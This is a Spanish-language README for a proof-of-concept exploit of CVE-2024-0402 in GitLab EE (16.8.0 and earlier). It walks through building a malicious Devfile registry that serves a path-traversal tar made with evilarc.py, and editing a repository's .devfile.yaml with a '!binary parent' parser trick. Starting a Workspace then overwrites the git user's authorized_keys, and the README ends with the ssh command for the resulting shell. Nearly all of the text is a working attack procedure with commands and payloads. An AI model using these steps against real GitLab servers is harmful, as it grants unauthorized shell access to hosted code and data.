
Exploit para CVE-2024-0402 en Gitlab
El proyecto contiene un Registro Devfile malicioso que se puede utilizar para explotar CVE-2024-0402 en Gitlab.
Un stack nodejs:2.2.1 está indexado para exponer el archivo archive.tar explotando el problema de path-traversal en la librería registry-support anterior a v1.1.0.
ubicación del tar: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar
Fue creado usando evilarc.py para sobrescribir el archivo /var/opt/gitlab/.ssh/authorized_keys en el servidor Gitlab objetivo con las claves SSH de la carpeta ssh-keys/ en este repositorio.
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix
Una vez en ejecución, el registro tendrá el .tar malicioso añadido a los stacks descargables.
Vea el index.json listándolo entre los recursos del stack:
...
"links": {
"self": "devfile-catalog/nodejs:2.2.1"
},
...
"resources": [
"devfile.yaml",
"archive.tar"
],
...
Configure una instancia de Gitlab EE con versión <=16.8.0. Habilite Workspaces en ella siguiendo la documentación y las notas adicionales en nuestra serie de blogposts !exploitable dedicada.
Cuando esté listo, siga los pasos a continuación:
Ejecute docker build -t devfile-index . en la raíz de este repositorio para construir la imagen del contenedor del registro
Ejecute docker run -d -p 5000:5000 --name local-registrypoc registry:2 para ejecutar un registro de contenedor local que será utilizado por el registro Devfile para almacenar el stack. Nota: debe editar el comando para exponerlo según su necesidad. Para nosotros, todo ocurría en un entorno local
Ejecute docker run --network host devfile-index para iniciar el registro Devfile malicioso construido en el paso uno. Nota: Al igual que antes, edite el comando de ejecución como desee para que sea accesible por la instancia de Gitlab
Autentíquese como desarrollador en el servidor Gitlab objetivo, luego edite el archivo .devfile.yaml de un repositorio que controle. El YAML debe explotar la diferencia del parser para permitir la obtención desde el registro malicioso
schemaVersion: 2.2.0
!binary parent:
id: nodejs
registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
- name: development-environment
attributes:
gl/inject-editor: true
container:
image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
Para desencadenar la escritura de archivo en la interfaz de Gitlab, simplemente inicie un nuevo Workspace en el repositorio editado.
Después de unos segundos, la escritura arbitraria de archivo debería ocurrir y ssh-keys/pockey.pub se agregará a authorized_keys del usuario git
Debería poder disfrutar de un shell sin restricciones como git con
ssh -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>